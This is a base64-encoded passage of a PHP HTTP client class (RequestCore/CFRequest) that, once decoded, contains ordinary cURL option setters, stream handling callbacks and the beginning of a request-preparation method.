JnZSB3aXRoIHRoZSBleGlzdGluZyBDVVJMT1BUcywgYW5kIG9uZXMgcGFzc2VkIGhlcmUgd2lsbCBvdmVycmlkZSB0aGUgZGVmYXVsdHMuIEtleXMgc2hvdWxkIGJlIHRoZSBgQ1VSTE9QVF8qYCBjb25zdGFudHMsIG5vdCBzdHJpbmdzLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9jdXJsb3B0cygkY3VybG9wdHMpCgl7CgkJJHRoaXMtPmN1cmxvcHRzID0gJGN1cmxvcHRzOwoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIFNldHMgdGhlIGxlbmd0aCBpbiBieXRlcyB0byByZWFkIGZyb20gdGhlIHN0cmVhbSB3aGlsZSBzdHJlYW1pbmcgdXAuCgkgKgoJICogQHBhcmFtIGludGVnZXIgJHNpemUgKFJlcXVpcmVkKSBUaGUgbGVuZ3RoIGluIGJ5dGVzIHRvIHJlYWQgZnJvbSB0aGUgc3RyZWFtLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9yZWFkX3N0cmVhbV9zaXplKCRzaXplKQoJewoJCSR0aGlzLT5yZWFkX3N0cmVhbV9zaXplID0gJHNpemU7CgoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIFNldHMgdGhlIHJlc291cmNlIHRvIHJlYWQgZnJvbSB3aGlsZSBzdHJlYW1pbmcgdXAuIFJlYWRzIHRoZSBzdHJlYW0gZnJvbSBpdHMgY3VycmVudCBwb3NpdGlvbiB1bnRpbAoJICogRU9GIG9yIGAkc2l6ZWAgYnl0ZXMgaGF2ZSBiZWVuIHJlYWQuIElmIGAkc2l6ZWAgaXMgbm90IGdpdmVuIGl0IHdpbGwgYmUgZGV0ZXJtaW5lZCBieSA8cGhwOmZzdGF0KCk+IGFuZAoJICogPHBocDpmdGVsbCgpPi4KCSAqCgkgKiBAcGFyYW0gcmVzb3VyY2UgJHJlc291cmNlIChSZXF1aXJlZCkgVGhlIHJlYWRhYmxlIHJlc291cmNlIHRvIHJlYWQgZnJvbS4KCSAqIEBwYXJhbSBpbnRlZ2VyICRzaXplIChPcHRpb25hbCkgVGhlIHNpemUgb2YgdGhlIHN0cmVhbSB0byByZWFkLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9yZWFkX3N0cmVhbSgkcmVzb3VyY2UsICRzaXplID0gbnVsbCkKCXsKCQlpZiAoIWlzc2V0KCRzaXplKSB8fCAkc2l6ZSA8IDApCgkJewoJCQkkc3RhdHMgPSBmc3RhdCgkcmVzb3VyY2UpOwoKCQkJaWYgKCRzdGF0cyAmJiAkc3RhdHNbJ3NpemUnXSA+PSAwKQoJCQl7CgkJCQkkcG9zaXRpb24gPSBmdGVsbCgkcmVzb3VyY2UpOwoKCQkJCWlmICgkcG9zaXRpb24gIT09IGZhbHNlICYmICRwb3NpdGlvbiA+PSAwKQoJCQkJewoJCQkJCSRzaXplID0gJHN0YXRzWydzaXplJ10gLSAkcG9zaXRpb247CgkJCQl9CgkJCX0KCQl9CgoJCSR0aGlzLT5yZWFkX3N0cmVhbSA9ICRyZXNvdXJjZTsKCgkJcmV0dXJuICR0aGlzLT5zZXRfcmVhZF9zdHJlYW1fc2l6ZSgkc2l6ZSk7Cgl9CgoJLyoqCgkgKiBTZXRzIHRoZSBmaWxlIHRvIHJlYWQgZnJvbSB3aGlsZSBzdHJlYW1pbmcgdXAuCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbG9jYXRpb24gKFJlcXVpcmVkKSBUaGUgcmVhZGFibGUgbG9jYXRpb24gdG8gcmVhZCBmcm9tLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9yZWFkX2ZpbGUoJGxvY2F0aW9uKQoJewoJCSR0aGlzLT5yZWFkX2ZpbGUgPSAkbG9jYXRpb247CgkJJHJlYWRfZmlsZV9oYW5kbGUgPSBmb3BlbigkbG9jYXRpb24sICdyJyk7CgoJCXJldHVybiAkdGhpcy0+c2V0X3JlYWRfc3RyZWFtKCRyZWFkX2ZpbGVfaGFuZGxlKTsKCX0KCgkvKioKCSAqIFNldHMgdGhlIHJlc291cmNlIHRvIHdyaXRlIHRvIHdoaWxlIHN0cmVhbWluZyBkb3duLgoJICoKCSAqIEBwYXJhbSByZXNvdXJjZSAkcmVzb3VyY2UgKFJlcXVpcmVkKSBUaGUgd3JpdGVhYmxlIHJlc291cmNlIHRvIHdyaXRlIHRvLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF93cml0ZV9zdHJlYW0oJHJlc291cmNlKQoJewoJCSR0aGlzLT53cml0ZV9zdHJlYW0gPSAkcmVzb3VyY2U7CgoJCXJldHVybiAkdGhpczsKCX0KCgkvKioKCSAqIFNldHMgdGhlIGZpbGUgdG8gd3JpdGUgdG8gd2hpbGUgc3RyZWFtaW5nIGRvd24uCgkgKgoJICogQHBhcmFtIHN0cmluZyAkbG9jYXRpb24gKFJlcXVpcmVkKSBUaGUgd3JpdGVhYmxlIGxvY2F0aW9uIHRvIHdyaXRlIHRvLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF93cml0ZV9maWxlKCRsb2NhdGlvbikKCXsKCQkkdGhpcy0+d3JpdGVfZmlsZSA9ICRsb2NhdGlvbjsKCQkkd3JpdGVfZmlsZV9oYW5kbGUgPSBmb3BlbigkbG9jYXRpb24sICd3Jyk7CgoJCXJldHVybiAkdGhpcy0+c2V0X3dyaXRlX3N0cmVhbSgkd3JpdGVfZmlsZV9oYW5kbGUpOwoJfQoKCS8qKgoJICogU2V0IHRoZSBwcm94eSB0byB1c2UgZm9yIG1ha2luZyByZXF1ZXN0cy4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRwcm94eSAoUmVxdWlyZWQpIFRoZSBmYXV4LXVybCB0byB1c2UgZm9yIHByb3h5IHNldHRpbmdzLiBUYWtlcyB0aGUgZm9sbG93aW5nIGZvcm1hdDogYHByb3h5Oi8vdXNlcjpwYXNzQGhvc3RuYW1lOnBvcnRgCgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X3Byb3h5KCRwcm94eSkKCXsKCQkkcHJveHkgPSBwYXJzZV91cmwoJHByb3h5KTsKCQkkcHJveHlbJ3VzZXInXSA9IGlzc2V0KCRwcm94eVsndXNlciddKSA/ICRwcm94eVsndXNlciddIDogbnVsbDsKCQkkcHJveHlbJ3Bhc3MnXSA9IGlzc2V0KCRwcm94eVsncGFzcyddKSA/ICRwcm94eVsncGFzcyddIDogbnVsbDsKCQkkcHJveHlbJ3BvcnQnXSA9IGlzc2V0KCRwcm94eVsncG9ydCddKSA/ICRwcm94eVsncG9ydCddIDogbnVsbDsKCQkkdGhpcy0+cHJveHkgPSAkcHJveHk7CgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogU2V0IHRoZSBpbnRlbmRlZCBzdGFydGluZyBzZWVrIHBvc2l0aW9uLgoJICoKCSAqIEBwYXJhbSBpbnRlZ2VyICRwb3NpdGlvbiAoUmVxdWlyZWQpIFRoZSBieXRlLXBvc2l0aW9uIG9mIHRoZSBzdHJlYW0gdG8gYmVnaW4gcmVhZGluZyBmcm9tLgoJICogQHJldHVybiAkdGhpcyBBIHJlZmVyZW5jZSB0byB0aGUgY3VycmVudCBpbnN0YW5jZS4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9zZWVrX3Bvc2l0aW9uKCRwb3NpdGlvbikKCXsKCQkkdGhpcy0+c2Vla19wb3NpdGlvbiA9IGlzc2V0KCRwb3NpdGlvbikgPyAoaW50ZWdlcikgJHBvc2l0aW9uIDogbnVsbDsKCgkJcmV0dXJuICR0aGlzOwoJfQoKCS8qKgoJICogUmVnaXN0ZXIgYSBjYWxsYmFjayBmdW5jdGlvbiB0byBleGVjdXRlIHdoZW5ldmVyIGEgZGF0YSBzdHJlYW0gaXMgcmVhZCBmcm9tIHVzaW5nCgkgKiA8Q0ZSZXF1ZXN0OjpzdHJlYW1pbmdfcmVhZF9jYWxsYmFjaygpPi4KCSAqCgkgKiBUaGUgdXNlci1kZWZpbmVkIGNhbGxiYWNrIGZ1bmN0aW9uIHNob3VsZCBhY2NlcHQgdGhyZWUgYXJndW1lbnRzOgoJICoKCSAqIDx1bD4KCSAqIAk8bGk+PGNvZGU+JGN1cmxfaGFuZGxlPC9jb2RlPiAtIDxjb2RlPnJlc291cmNlPC9jb2RlPiAtIFJlcXVpcmVkIC0gVGhlIGNVUkwgaGFuZGxlIHJlc291cmNlIHRoYXQgcmVwcmVzZW50cyB0aGUgaW4tcHJvZ3Jlc3MgdHJhbnNmZXIuPC9saT4KCSAqIAk8bGk+PGNvZGU+JGZpbGVfaGFuZGxlPC9jb2RlPiAtIDxjb2RlPnJlc291cmNlPC9jb2RlPiAtIFJlcXVpcmVkIC0gVGhlIGZpbGUgaGFuZGxlIHJlc291cmNlIHRoYXQgcmVwcmVzZW50cyB0aGUgZmlsZSBvbiB0aGUgbG9jYWwgZmlsZSBzeXN0ZW0uPC9saT4KCSAqIAk8bGk+PGNvZGU+JGxlbmd0aDwvY29kZT4gLSA8Y29kZT5pbnRlZ2VyPC9jb2RlPiAtIFJlcXVpcmVkIC0gVGhlIGxlbmd0aCBpbiBraWxvYnl0ZXMgb2YgdGhlIGRhdGEgY2h1bmsgdGhhdCB3YXMgdHJhbnNmZXJyZWQuPC9saT4KCSAqIDwvdWw+CgkgKgoJICogQHBhcmFtIHN0cmluZ3xhcnJheXxmdW5jdGlvbiAkY2FsbGJhY2sgKFJlcXVpcmVkKSBUaGUgY2FsbGJhY2sgZnVuY3Rpb24gaXMgY2FsbGVkIGJ5IDxwaHA6Y2FsbF91c2VyX2Z1bmMoKT4sIHNvIHlvdSBjYW4gcGFzcyB0aGUgZm9sbG93aW5nIHZhbHVlczogPHVsPgoJICogCTxsaT5UaGUgbmFtZSBvZiBhIGdsb2JhbCBmdW5jdGlvbiB0byBleGVjdXRlLCBwYXNzZWQgYXMgYSBzdHJpbmcuPC9saT4KCSAqIAk8bGk+QSBtZXRob2QgdG8gZXhlY3V0ZSwgcGFzc2VkIGFzIDxjb2RlPmFycmF5KCdDbGFzc05hbWUnLCAnTWV0aG9kTmFtZScpPC9jb2RlPi48L2xpPgoJICogCTxsaT5BbiBhbm9ueW1vdXMgZnVuY3Rpb24gKFBIUCA1LjMrKS48L2xpPjwvdWw+CgkgKiBAcmV0dXJuICR0aGlzIEEgcmVmZXJlbmNlIHRvIHRoZSBjdXJyZW50IGluc3RhbmNlLgoJICovCglwdWJsaWMgZnVuY3Rpb24gcmVnaXN0ZXJfc3RyZWFtaW5nX3JlYWRfY2FsbGJhY2soJGNhbGxiYWNrKQoJewoJCSR0aGlzLT5yZWdpc3RlcmVkX3N0cmVhbWluZ19yZWFkX2NhbGxiYWNrID0gJGNhbGxiYWNrOwoKCQlyZXR1cm4gJHRoaXM7Cgl9CgoJLyoqCgkgKiBSZWdpc3RlciBhIGNhbGxiYWNrIGZ1bmN0aW9uIHRvIGV4ZWN1dGUgd2hlbmV2ZXIgYSBkYXRhIHN0cmVhbSBpcyB3cml0dGVuIHRvIHVzaW5nCgkgKiA8Q0ZSZXF1ZXN0OjpzdHJlYW1pbmdfd3JpdGVfY2FsbGJhY2soKT4uCgkgKgoJICogVGhlIHVzZXItZGVmaW5lZCBjYWxsYmFjayBmdW5jdGlvbiBzaG91bGQgYWNjZXB0IHR3byBhcmd1bWVudHM6CgkgKgoJICogPHVsPgoJICogCTxsaT48Y29kZT4kY3VybF9oYW5kbGU8L2NvZGU+IC0gPGNvZGU+cmVzb3VyY2U8L2NvZGU+IC0gUmVxdWlyZWQgLSBUaGUgY1VSTCBoYW5kbGUgcmVzb3VyY2UgdGhhdCByZXByZXNlbnRzIHRoZSBpbi1wcm9ncmVzcyB0cmFuc2Zlci48L2xpPgoJICogCTxsaT48Y29kZT4kbGVuZ3RoPC9jb2RlPiAtIDxjb2RlPmludGVnZXI8L2NvZGU+IC0gUmVxdWlyZWQgLSBUaGUgbGVuZ3RoIGluIGtpbG9ieXRlcyBvZiB0aGUgZGF0YSBjaHVuayB0aGF0IHdhcyB0cmFuc2ZlcnJlZC48L2xpPgoJICogPC91bD4KCSAqCgkgKiBAcGFyYW0gc3RyaW5nfGFycmF5fGZ1bmN0aW9uICRjYWxsYmFjayAoUmVxdWlyZWQpIFRoZSBjYWxsYmFjayBmdW5jdGlvbiBpcyBjYWxsZWQgYnkgPHBocDpjYWxsX3VzZXJfZnVuYygpPiwgc28geW91IGNhbiBwYXNzIHRoZSBmb2xsb3dpbmcgdmFsdWVzOiA8dWw+CgkgKiAJPGxpPlRoZSBuYW1lIG9mIGEgZ2xvYmFsIGZ1bmN0aW9uIHRvIGV4ZWN1dGUsIHBhc3NlZCBhcyBhIHN0cmluZy48L2xpPgoJICogCTxsaT5BIG1ldGhvZCB0byBleGVjdXRlLCBwYXNzZWQgYXMgPGNvZGU+YXJyYXkoJ0NsYXNzTmFtZScsICdNZXRob2ROYW1lJyk8L2NvZGU+LjwvbGk+CgkgKiAJPGxpPkFuIGFub255bW91cyBmdW5jdGlvbiAoUEhQIDUuMyspLjwvbGk+PC91bD4KCSAqIEByZXR1cm4gJHRoaXMgQSByZWZlcmVuY2UgdG8gdGhlIGN1cnJlbnQgaW5zdGFuY2UuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiByZWdpc3Rlcl9zdHJlYW1pbmdfd3JpdGVfY2FsbGJhY2soJGNhbGxiYWNrKQoJewoJCSR0aGlzLT5yZWdpc3RlcmVkX3N0cmVhbWluZ193cml0ZV9jYWxsYmFjayA9ICRjYWxsYmFjazsKCgkJcmV0dXJuICR0aGlzOwoJfQoKCgkvKiUqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiolKi8KCS8vIFBSRVBBUkUsIFNFTkQsIEFORCBQUk9DRVNTIFJFUVVFU1QKCgkvKioKCSAqIEEgY2FsbGJhY2sgZnVuY3Rpb24gdGhhdCBpcyBpbnZva2VkIGJ5IGNVUkwgZm9yIHN0cmVhbWluZyB1cC4KCSAqCgkgKiBAcGFyYW0gcmVzb3VyY2UgJGN1cmxfaGFuZGxlIChSZXF1aXJlZCkgVGhlIGNVUkwgaGFuZGxlIGZvciB0aGUgcmVxdWVzdC4KCSAqIEBwYXJhbSByZXNvdXJjZSAkZmlsZV9oYW5kbGUgKFJlcXVpcmVkKSBUaGUgb3BlbiBmaWxlIGhhbmRsZSByZXNvdXJjZS4KCSAqIEBwYXJhbSBpbnRlZ2VyICRsZW5ndGggKFJlcXVpcmVkKSBUaGUgbWF4aW11bSBudW1iZXIgb2YgYnl0ZXMgdG8gcmVhZC4KCSAqIEByZXR1cm4gYmluYXJ5IEJpbmFyeSBkYXRhIGZyb20gYSBzdHJlYW0uCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzdHJlYW1pbmdfcmVhZF9jYWxsYmFjaygkY3VybF9oYW5kbGUsICRmaWxlX2hhbmRsZSwgJGxlbmd0aCkKCXsKCQkvLyBPbmNlIHdlJ3ZlIHNlbnQgYXMgbXVjaCBhcyB3ZSdyZSBzdXBwb3NlZCB0byBzZW5kLi4uCgkJaWYgKCR0aGlzLT5yZWFkX3N0cmVhbV9yZWFkID49ICR0aGlzLT5yZWFkX3N0cmVhbV9zaXplKQoJCXsKCQkJLy8gU2VuZCBFT0YKCQkJcmV0dXJuICcnOwoJCX0KCgkJLy8gSWYgd2UncmUgYXQgdGhlIGJlZ2lubmluZyBvZiBhbiB1cGxvYWQgYW5kIG5lZWQgdG8gc2Vlay4uLgoJCWlmICgkdGhpcy0+cmVhZF9zdHJlYW1fcmVhZCA9PSAwICYmIGlzc2V0KCR0aGlzLT5zZWVrX3Bvc2l0aW9uKSAmJiAkdGhpcy0+c2Vla19wb3NpdGlvbiAhPT0gZnRlbGwoJHRoaXMtPnJlYWRfc3RyZWFtKSkKCQl7CgkJCWlmIChmc2VlaygkdGhpcy0+cmVhZF9zdHJlYW0sICR0aGlzLT5zZWVrX3Bvc2l0aW9uKSAhPT0gMCkKCQkJewoJCQkJdGhyb3cgbmV3IFJlcXVlc3RDb3JlX0V4Y2VwdGlvbignVGhlIHN0cmVhbSBkb2VzIG5vdCBzdXBwb3J0IHNlZWtpbmcgYW5kIGlzIGVpdGhlciBub3QgYXQgdGhlIHJlcXVlc3RlZCBwb3NpdGlvbiBvciB0aGUgcG9zaXRpb24gaXMgdW5rbm93bi4nKTsKCQkJfQoJCX0KCgkJJHJlYWQgPSBmcmVhZCgkdGhpcy0+cmVhZF9zdHJlYW0sIG1pbigkdGhpcy0+cmVhZF9zdHJlYW1fc2l6ZSAtICR0aGlzLT5yZWFkX3N0cmVhbV9yZWFkLCAkbGVuZ3RoKSk7IC8vIFJlbWFpbmluZyB1cGxvYWQgZGF0YSBvciBjVVJMJ3MgcmVxdWVzdGVkIGNodW5rIHNpemUKCQkkdGhpcy0+cmVhZF9zdHJlYW1fcmVhZCArPSBzdHJsZW4oJHJlYWQpOwoKCQkkb3V0ID0gJHJlYWQgPT09IGZhbHNlID8gJycgOiAkcmVhZDsKCgkJLy8gRXhlY3V0ZSBjYWxsYmFjayBmdW5jdGlvbgoJCWlmICgkdGhpcy0+cmVnaXN0ZXJlZF9zdHJlYW1pbmdfcmVhZF9jYWxsYmFjaykKCQl7CgkJCWNhbGxfdXNlcl9mdW5jKCR0aGlzLT5yZWdpc3RlcmVkX3N0cmVhbWluZ19yZWFkX2NhbGxiYWNrLCAkY3VybF9oYW5kbGUsICRmaWxlX2hhbmRsZSwgJG91dCk7CgkJfQoKCQlyZXR1cm4gJG91dDsKCX0KCgkvKioKCSAqIEEgY2FsbGJhY2sgZnVuY3Rpb24gdGhhdCBpcyBpbnZva2VkIGJ5IGNVUkwgZm9yIHN0cmVhbWluZyBkb3duLgoJICoKCSAqIEBwYXJhbSByZXNvdXJjZSAkY3VybF9oYW5kbGUgKFJlcXVpcmVkKSBUaGUgY1VSTCBoYW5kbGUgZm9yIHRoZSByZXF1ZXN0LgoJICogQHBhcmFtIGJpbmFyeSAkZGF0YSAoUmVxdWlyZWQpIFRoZSBkYXRhIHRvIHdyaXRlLgoJICogQHJldHVybiBpbnRlZ2VyIFRoZSBudW1iZXIgb2YgYnl0ZXMgd3JpdHRlbi4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHN0cmVhbWluZ193cml0ZV9jYWxsYmFjaygkY3VybF9oYW5kbGUsICRkYXRhKQoJewoJCSRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOwoJCSR3cml0dGVuX3RvdGFsID0gMDsKCQkkd3JpdHRlbl9sYXN0ID0gMDsKCgkJd2hpbGUgKCR3cml0dGVuX3RvdGFsIDwgJGxlbmd0aCkKCQl7CgkJCSR3cml0dGVuX2xhc3QgPSBmd3JpdGUoJHRoaXMtPndyaXRlX3N0cmVhbSwgc3Vic3RyKCRkYXRhLCAkd3JpdHRlbl90b3RhbCkpOwoKCQkJaWYgKCR3cml0dGVuX2xhc3QgPT09IGZhbHNlKQoJCQl7CgkJCQlyZXR1cm4gJHdyaXR0ZW5fdG90YWw7CgkJCX0KCgkJCSR3cml0dGVuX3RvdGFsICs9ICR3cml0dGVuX2xhc3Q7CgkJfQoKCQkvLyBFeGVjdXRlIGNhbGxiYWNrIGZ1bmN0aW9uCgkJaWYgKCR0aGlzLT5yZWdpc3RlcmVkX3N0cmVhbWluZ193cml0ZV9jYWxsYmFjaykKCQl7CgkJCWNhbGxfdXNlcl9mdW5jKCR0aGlzLT5yZWdpc3RlcmVkX3N0cmVhbWluZ193cml0ZV9jYWxsYmFjaywgJGN1cmxfaGFuZGxlLCAkd3JpdHRlbl90b3RhbCk7CgkJfQoKCQlyZXR1cm4gJHdyaXR0ZW5fdG90YWw7Cgl9CgoJLyoqCgkgKiBQcmVwYXJlcyBhbmQgYWRkcyB0aGUgZGV0YWlscyBvZiB0aGUgY1VSTCByZXF1ZXN0LiBUaGlzIGNhbiBiZSBwYXNzZWQgYWxvbmcgdG8gYSA8cGhwOmN1cmxfbXVsdGlfZXhlYygpPgoJICogZnVuY3Rpb24uCgkgKgoJICogQHJldHVybiByZXNvdXJjZSBUaGUgaGFuZGxlIGZvciB0aGUgY1VSTCBvYmplY3QuCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBwcmVwX3JlcXVlc3QoKQoJewoJCSRjdXJsX2hhbmRsZSA9IGN1cmxfaW5pdCgpOwoKCQkvLyBTZXQgZGVmYXVsdCBvcHRpb25zLgoJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9VUkwsICR0aGlzLT5yZXF1ZXN0X3VybCk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0ZJTEVUSU1FLCB0cnVlKTsKCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfRlJFU0hfQ09OTkVDVCwgZmFsc2UpOwoJCWlmICggZGVmaW5lZCggJ0NVUkxPUFRfQ0xPU0VQT0xJQ1knICkgJiYgaXNfbG9uZyggQ1VSTE9QVF9DTE9TRVBPTElDWSApICkgeyAvLyBOb3QgYXZhaWxhYmxlIG9uIHNvbWUgc3lzdGVtcyByZXN1bHRpbmcgaW4gd2FybmluZy4gU2VlIHplbmRlc2sgdGlja2V0IDE1OTI2LiBNYXkgbm90IGV2ZW4gYmUgZGVmaW5lZCBpbiA1LjYrLgoJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfQ0xPU0VQT0xJQ1ksIENVUkxDTE9TRVBPTElDWV9MRUFTVF9SRUNFTlRMWV9VU0VEKTsKCQl9CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX01BWFJFRElSUywgNSk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0hFQURFUiwgdHJ1ZSk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCB0cnVlKTsKCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfVElNRU9VVCwgNTE4NDAwMCk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAxMjApOwoJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9OT1NJR05BTCwgdHJ1ZSk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1JFRkVSRVIsICR0aGlzLT5yZXF1ZXN0X3VybCk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHRoaXMtPnVzZXJhZ2VudCk7CgkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1JFQURGVU5DVElPTiwgYXJyYXkoJHRoaXMsICdzdHJlYW1pbmdfcmVhZF9jYWxsYmFjaycpKTsKCgkJLy8gVmVyaWZpY2F0aW9uIG9mIHRoZSBTU0wgY2VydAoJCWlmICgkdGhpcy0+c3NsX3ZlcmlmaWNhdGlvbikKCQl7CgkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgdHJ1ZSk7CgkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwgMik7CgkJfQoJCWVsc2UKCQl7CgkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwoJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIGZhbHNlKTsKCQl9CgoJCS8vIGNobW9kIHRoZSBmaWxlIGFzIDA3NTUKCQlpZiAoJHRoaXMtPmNhY2VydF9sb2NhdGlvbiA9PT0gdHJ1ZSkKCQl7CgkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9DQUlORk8sIGRpcm5hbWUoX19GSUxFX18pIC4gJy9jYWNlcnQucGVtJyk7CgkJfQoJCWVsc2VpZiAoaXNfc3RyaW5nKCR0aGlzLT5jYWNlcnRfbG9jYXRpb24pKQoJCXsKCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0NBSU5GTywgJHRoaXMtPmNhY2VydF9sb2NhdGlvbik7CgkJfQoKCQkvLyBEZWJ1ZyBtb2RlCgkJaWYgKCR0aGlzLT5kZWJ1Z19tb2RlKQoJCXsKCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1ZFUkJPU0UsIHRydWUpOwoJCX0KCgkJLy8gSGFuZGxlIG9wZW5fYmFzZWRpciAmIHNhZmUgbW9kZQoJCWlmICghaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgIWluaV9nZXQoJ29wZW5fYmFzZWRpcicpKQoJCXsKCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCB0cnVlKTsKCQl9CgoJCS8vIEVuYWJsZSBhIHByb3h5IGNvbm5lY3Rpb24gaWYgcmVxdWVzdGVkLgoJCWlmICgkdGhpcy0+cHJveHkpCgkJewoJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfSFRUUFBST1hZVFVOTkVMLCB0cnVlKTsKCgkJCSRob3N0ID0gJHRoaXMtPnByb3h5Wydob3N0J107CgkJCSRob3N0IC49ICgkdGhpcy0+cHJveHlbJ3BvcnQnXSkgPyAnOicgLiAkdGhpcy0+cHJveHlbJ3BvcnQnXSA6ICcnOwoJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfUFJPWFksICRob3N0KTsKCgkJCWlmIChpc3NldCgkdGhpcy0+cHJveHlbJ3VzZXInXSkgJiYgaXNzZXQoJHRoaXMtPnByb3h5WydwYXNzJ10pKQoJCQl7CgkJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfUFJPWFlVU0VSUFdELCAkdGhpcy0+cHJveHlbJ3VzZXInXSAuICc6JyAuICR0aGlzLT5wcm94eVsncGFzcyddKTsKCQkJfQoJCX0KCgkJLy8gU2V0IGNyZWRlbnRpYWxzIGZvciBIVFRQIEJhc2ljL0RpZ2VzdCBBdXRoZW50aWNhdGlvbi4KCQlpZiAoJHRoaXMtPnVzZXJuYW1lICYmICR0aGlzLT5wYXNzd29yZCkKCQl7CgkJCWN1cmxfc2V0b3B0KCRjdXJsX2hhbmRsZSwgQ1VSTE9QVF9IVFRQQVVUSCwgQ1VSTEFVVEhfQU5ZKTsKCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX1VTRVJQV0QsICR0aGlzLT51c2VybmFtZSAuICc6JyAuICR0aGlzLT5wYXNzd29yZCk7CgkJfQoKCQkvLyBIYW5kbGUgdGhlIGVuY29kaW5nIGlmIHdlIGNhbi4KCQlpZiAoJHRoaXMtPnVzZV9nemlwX2VuY29uZGluZyAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykpCgkJewoJCQljdXJsX3NldG9wdCgkY3VybF9oYW5kbGUsIENVUkxPUFRfRU5DT0RJTkcsICdnemlwLCBkZWZsYXRlJyk7CgkJfQoKCQkvLyBQcm9jZXNzIGN1c3RvbSBoZWFkZXJzCgkJaWYgKGlzc2V0KCR0aGlzLT5yZXF1ZXN0X2hlYWRlcnMpICYmIGNvdW50KCR0aGlzLT5yZXF1ZXN0X2hlYWRlcnMpKQoJCXsKCQkJJHRlbXBfaGVhZGVycyA9IGFycmF5KCk7CgoJCQlpZiAoIWFycmF5X2tleV9leGlzdHMoJ0V4cGVjdCcsICR0aGlzLT5yZXF1ZXN0X2hlYWRlcnMpKQoJCQl7CgkJCQkkdGhpcy0+cmVxdWVzdF9oZWFkZXJzWydFeHBlY3QnXSA9ICcnOwoJCQl9CgoJCQlmb3JlYWNoICgkdGhpcy0+cmVxdWVzdF9oZWFkZXJzIGFzICRrID0+ICR2KQoJCQl7CgkJCQkkdGVtcF9oZWFkZXJzW10gPSAkayAuICc6ICcgLiAkdjsKCQkJfQoKCQkJY3VybF9zZXRvcHQoJGN1cmxfaGFuZGxlLCBDVVJMT1BUX0hUVFBIRUFERVIsICR0ZW